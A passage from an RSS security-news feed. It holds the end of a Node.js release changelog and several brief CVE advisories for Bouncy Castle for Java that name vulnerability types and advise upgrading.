<li>[<a href="https://github.com/nodejs/node/commit/2bf0de838d"><code>2bf0de838d</code></a>] - <strong>test</strong>: cover webcrypto prototype pollution systematically (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63520/hovercard">#63520</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bec6856ae8"><code>bec6856ae8</code></a>] - <strong>test,debugger</strong>: add test for type stripping in debugger probe mode (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63748" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63748/hovercard">#63748</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a2b9095e03"><code>a2b9095e03</code></a>] - <strong>test_runner</strong>: avoid recompiling coverage globs for every file (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/02fbff446f"><code>02fbff446f</code></a>] - <strong>test_runner</strong>: cache <code>shouldSkipFileCoverage</code> result per URL (sangwook) <a href="https://github.com/nodejs/node/pull/63675" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63675/hovercard">#63675</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/094869354a"><code>094869354a</code></a>] - <strong>test_runner</strong>: ignore erased TS lines in coverage (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63510" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63510/hovercard">#63510</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/68edc2b009"><code>68edc2b009</code></a>] - <strong>test_runner</strong>: fix suite diagnostic chanel end (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63533" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63533/hovercard">#63533</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/659d5bf068"><code>659d5bf068</code></a>] - <strong>test_runner</strong>: add parentId to test events with testId (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63435" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63435/hovercard">#63435</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eaebeb8b88"><code>eaebeb8b88</code></a>] - <strong>test_runner</strong>: fix hooks test context (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63285" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63285/hovercard">#63285</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d03d96889b"><code>d03d96889b</code></a>] - <strong>test_runner</strong>: add tags option and tag-name filter (Chemi Atlow) <a href="https://github.com/nodejs/node/pull/63221" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63221/hovercard">#63221</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8c3db1364"><code>e8c3db1364</code></a>] - <strong>test_runner</strong>: add <code>getTestContext()</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62501" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62501/hovercard">#62501</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/345c591d10"><code>345c591d10</code></a>] - <strong>test_runner</strong>: filter execArgv fallback for child tests (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64056" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64056/hovercard">#64056</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f47fb23bf"><code>2f47fb23bf</code></a>] - <strong>test_runner</strong>: improve coverage failure diagnostics (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/64050" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64050/hovercard">#64050</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/260cf1ac89"><code>260cf1ac89</code></a>] - <strong>test_runner</strong>: add timestamp to JUnit reporter testsuites (sangwook) <a href="https://github.com/nodejs/node/pull/64029" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64029/hovercard">#64029</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24140eafdf"><code>24140eafdf</code></a>] - <strong>test_runner</strong>: remove unused shuffleArrayWithSeed (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63847" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63847/hovercard">#63847</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b7fdb4891a"><code>b7fdb4891a</code></a>] - <strong>test_runner</strong>: fix watch cwd with isolation none (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63690" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63690/hovercard">#63690</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e48b307e09"><code>e48b307e09</code></a>] - <strong>timers</strong>: reuse Timeout objects in setStreamTimeout (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64254" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64254/hovercard">#64254</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5396235993"><code>5396235993</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a653e9bb57"><code>a653e9bb57</code></a>] - <strong>tls</strong>: handle large RSA exponents in X.509 cert (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64093/hovercard">#64093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5e901b5cd9"><code>5e901b5cd9</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: add certificateCompression option (Tim Perry) <a href="https://github.com/nodejs/node/pull/62217" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62217/hovercard">#62217</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3abcfa723c"><code>3abcfa723c</code></a>] - <strong>tls</strong>: route event listener exceptions through error handlers (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63822" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63822/hovercard">#63822</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/eaba4cd59d"><code>eaba4cd59d</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 8 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/64249" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64249/hovercard">#64249</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d7ea1dbca"><code>7d7ea1dbca</code></a>] - <strong>tools</strong>: update c-ares updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64194" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64194/hovercard">#64194</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/976827cd71"><code>976827cd71</code></a>] - <strong>tools</strong>: validate version number in release proposal commit message lint (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/64070" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64070/hovercard">#64070</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cc0c586b52"><code>cc0c586b52</code></a>] - <strong>tools</strong>: update sccache to v0.16.0 (Michaël Zasso) <a href="https://github.com/nodejs/node/pull/63078" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63078/hovercard">#63078</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f0a35fa56a"><code>f0a35fa56a</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/lint-md (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63948/hovercard">#63948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dafbd23240"><code>dafbd23240</code></a>] - <strong>tools</strong>: bump js-yaml from 4.1.1 to 4.2.0 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63947" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63947/hovercard">#63947</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0ae1552650"><code>0ae1552650</code></a>] - <strong>tools</strong>: update the llhttp updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63819" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63819/hovercard">#63819</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3623586d1f"><code>3623586d1f</code></a>] - <strong>tools</strong>: align Bash snippets in GHA with <code>lint-sh</code> conventions (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63829" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63829/hovercard">#63829</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64b130ce1d"><code>64b130ce1d</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 7 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/63730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63730/hovercard">#63730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4900cac251"><code>4900cac251</code></a>] - <strong>tools</strong>: fix zlib updater script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63707" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63707/hovercard">#63707</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8edf3abafc"><code>8edf3abafc</code></a>] - <strong>typings</strong>: add typing for crypto (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64122" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64122/hovercard">#64122</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d5be94e820"><code>d5be94e820</code></a>] - <strong>url</strong>: fix URLSearchParams(null) to prudce null= per spec (Marco) <a href="https://github.com/nodejs/node/pull/63782" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63782/hovercard">#63782</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee66a3851c"><code>ee66a3851c</code></a>] - <strong>util</strong>: fix OOM in inspect color stack formatting (Ijtihed Kilani) <a href="https://github.com/nodejs/node/pull/64022" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64022/hovercard">#64022</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e26f183699"><code>e26f183699</code></a>] - <strong>util</strong>: fix scientific notation formatting (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63823" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63823/hovercard">#63823</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7993e3e476"><code>7993e3e476</code></a>] - <strong>util</strong>: fix -0 formatting when numericSeparator is enabled (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/63815" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63815/hovercard">#63815</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38758a7789"><code>38758a7789</code></a>] - <strong>util</strong>: remove style caches from styleText slow path (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/63706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63706/hovercard">#63706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/46a0ca256a"><code>46a0ca256a</code></a>] - <strong>watch</strong>: print name of changed file that triggers restart (Marco) <a href="https://github.com/nodejs/node/pull/63781" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63781/hovercard">#63781</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1582818ad"><code>e1582818ad</code></a>] - <strong>watch</strong>: cancel pending restart on shutdown (Trivikram Kamat) <a href="https://github.com/nodejs/node/pull/63383" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63383/hovercard">#63383</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a208668b0"><code>9a208668b0</code></a>] - <strong>zlib</strong>: validate flush king for all streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/928981d803"><code>928981d803</code></a>] - <strong>zlib</strong>: validate flush kind for brotli streams (Ic3b3rg) <a href="https://github.com/nodejs/node/pull/63746" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63746/hovercard">#63746</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fd0fb00164"><code>fd0fb00164</code></a>] - <strong>zlib</strong>: expose rejectGarbageAfterEnd option (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e334d30b4c"><code>e334d30b4c</code></a>] - <strong>zlib</strong>: reject trailing gzip members in web streams (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64023" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64023/hovercard">#64023</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7433c3df2e"><code>7433c3df2e</code></a>] - <strong>zlib</strong>: coerce -0 to +0 for crc32 seeds (Filip Skokan) <a href="https://github.com/nodejs/node/pull/63556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63556/hovercard">#63556</a></li>
</ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-8763 | Legion of the Bouncy Castle Bouncy Castle for Java up to 2.1.2 Name Constraints input validation (CNNVD-2026-80667369)]]></title>
<description><![CDATA[A vulnerability classified as critical was found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/bc-fips 1.0.2.6/2.0.1/2.1.2. Impacted is an unknown function of the component Name Constraints. The manipulation re...]]></description>
<link>https://tsecurity.de/de/3701445/sicherheitsluecken/cve-2026-8763-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-212-name-constraints-input-validation-cnnvd-2026-80667369/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701445/sicherheitsluecken/cve-2026-8763-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-212-name-constraints-input-validation-cnnvd-2026-80667369/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/bc-fips 1.0.2.6/2.0.1/2.1.2</a>. Impacted is an unknown function of the component <em>Name Constraints</em>. The manipulation results in improper input validation.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-8763">CVE-2026-8763</a>. The attack may be launched remotely. There is no exploit available.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58059 | Legion of the Bouncy Castle Bouncy Castle for Java prior 1.85/2.73.12/1.0.2.7/2.0.2/2.1.3 denial of service (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS. Affected by this vulnerability is an unknown functionality. Executing a manipulation can lead to denial of service.

This vulnerab...]]></description>
<link>https://tsecurity.de/de/3701450/sicherheitsluecken/cve-2026-58059-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-185273121027202213-denial-of-service-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701450/sicherheitsluecken/cve-2026-58059-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-185273121027202213-denial-of-service-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS</a>. Affected by this vulnerability is an unknown functionality. Executing a manipulation can lead to denial of service.

This vulnerability is tracked as <a href="https://vuldb.com/cve/CVE-2026-58059">CVE-2026-58059</a>. The attack can be launched remotely. No exploit exists.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-15055 | Legion of the Bouncy Castle Bouncy Castle for Java up to 2.1.11 PKCS#8/PBES2 Decryptors allocation of resources (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/1.0.11/2.0.11/2.1.11. It has been rated as problematic. This impacts an unknown function of the component PKCS#8/PBES2 Decryptors. The man...]]></description>
<link>https://tsecurity.de/de/3701451/sicherheitsluecken/cve-2026-15055-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-2111-pkcs8pbes2-decryptors-allocation-of-resources-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701451/sicherheitsluecken/cve-2026-15055-legion-of-the-bouncy-castle-bouncy-castle-for-java-up-to-2111-pkcs8pbes2-decryptors-allocation-of-resources-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS up to 1.84/2.73.11/1.0.11/2.0.11/2.1.11</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. This impacts an unknown function of the component <em>PKCS#8/PBES2 Decryptors</em>. The manipulation leads to allocation of resources.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-15055">CVE-2026-15055</a>. The attack is possible to be carried out remotely. No exploit exists.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-14682 | Legion of the Bouncy Castle Bouncy Castle for Java FIPS prior bctls-fips 1.0.24 allocation of resources (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability categorized as problematic has been discovered in Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java. Affected by this vulnerability is an unknown functionality. Such manipulation leads to allocation of resources.

This v...]]></description>
<link>https://tsecurity.de/de/3701452/sicherheitsluecken/cve-2026-14682-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-prior-bctls-fips-1024-allocation-of-resources-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701452/sicherheitsluecken/cve-2026-14682-legion-of-the-bouncy-castle-bouncy-castle-for-java-fips-prior-bctls-fips-1024-allocation-of-resources-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability categorized as <a href="https://vuldb.com/kb/risk">problematic</a> has been discovered in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java_fips">Legion of the Bouncy Castle Bouncy Castle for Java FIPS, Bouncy Castle for Java LTS and Bouncy Castle for Java</a>. Affected by this vulnerability is an unknown functionality. Such manipulation leads to allocation of resources.

This vulnerability is traded as <a href="https://vuldb.com/cve/CVE-2026-14682">CVE-2026-14682</a>. The attack may be launched remotely. There is no exploit available.

It is advisable to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-13586 | Legion of the Bouncy Castle Bouncy Castle for Java prior 1.85/2.73.12/1.0.2.7/2.0.2/2.1.3 denial of service (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS. It has been rated as problematic. Affected is an unknown function. This manipulation causes denial of service.

This vulnerability appears as CVE-2026-13586...]]></description>
<link>https://tsecurity.de/de/3701454/sicherheitsluecken/cve-2026-13586-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-185273121027202213-denial-of-service-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701454/sicherheitsluecken/cve-2026-13586-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-185273121027202213-denial-of-service-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS</a>. It has been rated as <a href="https://vuldb.com/kb/risk">problematic</a>. Affected is an unknown function. This manipulation causes denial of service.

This vulnerability appears as <a href="https://vuldb.com/cve/CVE-2026-13586">CVE-2026-13586</a>. The attack may be initiated remotely. There is no available exploit.

Upgrading the affected component is advised.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12860 | Legion of the Bouncy Castle Bouncy Castle for Java/Bouncy Castle for Java LTS up to 1.84/2.73.11 data authenticity (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability marked as critical has been reported in Legion of the Bouncy Castle Bouncy Castle for Java and Bouncy Castle for Java LTS up to 1.84/2.73.11. This vulnerability affects unknown code. The manipulation leads to insufficient verification of data authenticity.

This vulnerability is u...]]></description>
<link>https://tsecurity.de/de/3701455/sicherheitsluecken/cve-2026-12860-legion-of-the-bouncy-castle-bouncy-castle-for-javabouncy-castle-for-java-lts-up-to-18427311-data-authenticity-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701455/sicherheitsluecken/cve-2026-12860-legion-of-the-bouncy-castle-bouncy-castle-for-javabouncy-castle-for-java-lts-up-to-18427311-data-authenticity-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java and Bouncy Castle for Java LTS up to 1.84/2.73.11</a>. This vulnerability affects unknown code. The manipulation leads to insufficient verification of data authenticity.

This vulnerability is uniquely identified as <a href="https://vuldb.com/cve/CVE-2026-12860">CVE-2026-12860</a>. The attack is possible to be carried out remotely. No exploit exists.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12816 | Legion of the Bouncy Castle BC-JAVA/BC-LTS-JAVA up to 1.84/2.73.11 signature verification (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability classified as problematic has been found in Legion of the Bouncy Castle BC-JAVA and BC-LTS-JAVA up to 1.84/2.73.11. Impacted is an unknown function. This manipulation causes improper verification of cryptographic signature.

The identification of this vulnerability is CVE-2026-128...]]></description>
<link>https://tsecurity.de/de/3701457/sicherheitsluecken/cve-2026-12816-legion-of-the-bouncy-castle-bc-javabc-lts-java-up-to-18427311-signature-verification-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701457/sicherheitsluecken/cve-2026-12816-legion-of-the-bouncy-castle-bc-javabc-lts-java-up-to-18427311-signature-verification-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bc-java">Legion of the Bouncy Castle BC-JAVA and BC-LTS-JAVA up to 1.84/2.73.11</a>. Impacted is an unknown function. This manipulation causes improper verification of cryptographic signature.

The identification of this vulnerability is <a href="https://vuldb.com/cve/CVE-2026-12816">CVE-2026-12816</a>. It is possible to initiate the attack remotely. There is no exploit available.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12817 | Legion of the Bouncy Castle Bouncy Castle for Java prior 1.85/2.73.12/1.0.13/2.0.13/2.1.13 OpenPGP AEAD Decryption integrity check (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS. It has been declared as critical. This impacts an unknown function of the component OpenPGP AEAD Decryption. The manipulation results in missing support for...]]></description>
<link>https://tsecurity.de/de/3701458/sicherheitsluecken/cve-2026-12817-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-18527312101320132113-openpgp-aead-decryption-integrity-check-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701458/sicherheitsluecken/cve-2026-12817-legion-of-the-bouncy-castle-bouncy-castle-for-java-prior-18527312101320132113-openpgp-aead-decryption-integrity-check-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS</a>. It has been declared as <a href="https://vuldb.com/kb/risk">critical</a>. This impacts an unknown function of the component <em>OpenPGP AEAD Decryption</em>. The manipulation results in missing support for integrity check.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-12817">CVE-2026-12817</a>. The attack can be launched remotely. No exploit exists.

It is recommended to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12802 | Legion of the Bouncy Castle Bouncy Castle for Java AuthEnvelopedData signature verification (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability identified as critical has been detected in Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS. Affected by this issue is some unknown functionality of the component AuthEnvelopedData. Performing a manipulation results in...]]></description>
<link>https://tsecurity.de/de/3701459/sicherheitsluecken/cve-2026-12802-legion-of-the-bouncy-castle-bouncy-castle-for-java-authenvelopeddata-signature-verification-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701459/sicherheitsluecken/cve-2026-12802-legion-of-the-bouncy-castle-bouncy-castle-for-java-authenvelopeddata-signature-verification-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability identified as <a href="https://vuldb.com/kb/risk">critical</a> has been detected in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java, Bouncy Castle for Java LTS and Bouncy Castle for Java FIPS</a>. Affected by this issue is some unknown functionality of the component <em>AuthEnvelopedData</em>. Performing a manipulation results in improper verification of cryptographic signature.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-12802">CVE-2026-12802</a>. Remote exploitation of the attack is possible. No exploit is available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12803 | Legion of the Bouncy Castle Bouncy Castle for Java/Bouncy Castle for Java LTS prior 1.85/2.73.12 KCCMBlockCipher MAC signature verification (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Legion of the Bouncy Castle Bouncy Castle for Java and Bouncy Castle for Java LTS. This affects an unknown part of the component KCCMBlockCipher MAC. Executing a manipulation can lead to improper verification of cryptographic signature.

Th...]]></description>
<link>https://tsecurity.de/de/3701460/sicherheitsluecken/cve-2026-12803-legion-of-the-bouncy-castle-bouncy-castle-for-javabouncy-castle-for-java-lts-prior-18527312-kccmblockcipher-mac-signature-verification-wid-sec-2026-2622/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3701460/sicherheitsluecken/cve-2026-12803-legion-of-the-bouncy-castle-bouncy-castle-for-javabouncy-castle-for-java-lts-prior-18527312-kccmblockcipher-mac-signature-verification-wid-sec-2026-2622/</guid>
<pubDate>Mon, 03 Aug 2026 20:20:47 +0200</pubDate>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/legion_of_the_bouncy_castle:bouncy_castle_for_java">Legion of the Bouncy Castle Bouncy Castle for Java and Bouncy Castle for Java LTS</a>. This affects an unknown part of the component <em>KCCMBlockCipher MAC</em>. Executing a manipulation can lead to improper verification of cryptographic signature.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2026-12803">CVE-2026-12803</a>. The attack can be executed remotely. There is not any exploit available.

The affected component should be upgraded.]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-12185 | Legion of the Bouncy Castle BC-JAVA/BC-LTS-JAVA prior 1.85/2.73.12 BKS/UBER keystore integrity check (WID-SEC-2026-2622)]]></title>
<description><![CDATA[A vulnerability was found in Legion of the Bouncy Castle BC-JAVA and BC-LTS-JAVA and classified as critical. The affected element is an unknown function of the component BKS/UBER keystore. Such manipulation leads to improper validation of integrity check value.

This vulnerability is traded as CV...]]></description>
